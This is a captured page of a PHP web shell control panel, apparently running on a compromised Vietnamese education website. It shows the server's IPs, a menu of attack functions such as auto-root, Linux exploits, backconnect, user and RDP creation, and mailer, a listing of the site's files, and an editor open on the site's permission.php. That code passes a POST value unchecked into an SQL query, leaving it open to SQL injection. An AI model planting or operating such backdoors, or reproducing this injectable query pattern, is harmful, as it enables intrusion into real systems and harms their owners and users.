Linux vps.sdns.vn 3.10.0-1160.99.1.el7.x86_64 #1 SMP Wed Sep 13 14:19:20 UTC 2023 x86_64
LiteSpeed
: 103.74.117.127 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
7.3.33
pcem
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
pcem /
domains /
pcem.edu.vn /
public_html /
[ HOME SHELL ]
Name
Size
Permission
Action
.well-known
[ DIR ]
drwxr-xr-x
New directory
[ DIR ]
drwxr-xr-x
administrator
[ DIR ]
drwxr-xr-x
configs
[ DIR ]
drwxr-xr-x
controllers
[ DIR ]
drwxr-xr-x
font
[ DIR ]
drwxr-xr-x
include
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
login-with-facebook
[ DIR ]
drwxr-xr-x
login-with-google
[ DIR ]
drwxr-xr-x
models
[ DIR ]
drwxr-xr-x
moi
[ DIR ]
drwxr-xr-x
uploads
[ DIR ]
drwxr-xr-x
views
[ DIR ]
drwxr-xr-x
.htaccess
1.56
KB
-rw-r--r--
favicon.png
4.85
KB
-rw-r--r--
gethint.php
223
B
-rw-r--r--
getinfopay.php
74
B
-rw-r--r--
getmonth.php
104
B
-rw-r--r--
index.php
478
B
-rw-r--r--
permission.php
1.55
KB
-rw-r--r--
scanv.php
5.67
KB
-rw-r--r--
sitemap.xml
0
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : permission.php
<?php ob_start(); include 'models/model_permission.php'; include 'models/model_role.php'; include 'models/model_privilege.php'; $mod_role = new model_role; $mod_permission = new model_permission; $mod_privilege = new model_privilege; $role_id = isset($_POST['roles'])?$_POST['roles']:1; if(isset($_POST['btnSave'])){ $arrPermissionId = isset($_POST['permission_id'])?$_POST['permission_id']:''; $mod_privilege->remove($role_id); foreach($arrPermissionId as $item){ $checkExist = $mod_privilege->checkExist(array('role_id' => $role_id, 'permission_id'=>$item)); if(!$checkExist){ $data_insert = array( 'permission_id'=> $item, 'role_id'=> $role_id ); $mod_privilege->add($data_insert); } } } $list_role = $mod_role->getRole(); $list_permission = $mod_permission->getPermission(); $condition = "LEFT JOIN permissions ON permissions.pid = privilege.permission_id LEFT JOIN roles ON roles.id = privilege.role_id WHERE privilege.role_id = $role_id"; $privilege = $mod_privilege->getPrivilege('privilege.permission_id', $condition); $arrPrivilege = array(); foreach($privilege as $item){ $arrPrivilege[] = $item['privilege.permission_id']; } $arrPermission = array(); $key = ''; foreach($list_permission as $item){ if(in_array($item['pid'], $arrPrivilege)){ $item['check'] = 1; }else{ $item['check'] = 0; } if($item['detail'] != ''){ $key = $item['detail']; } $arrPer[$key][] = $item; } require("views/view_permission.php"); $content = ob_get_contents(); ob_end_clean(); ?>
Close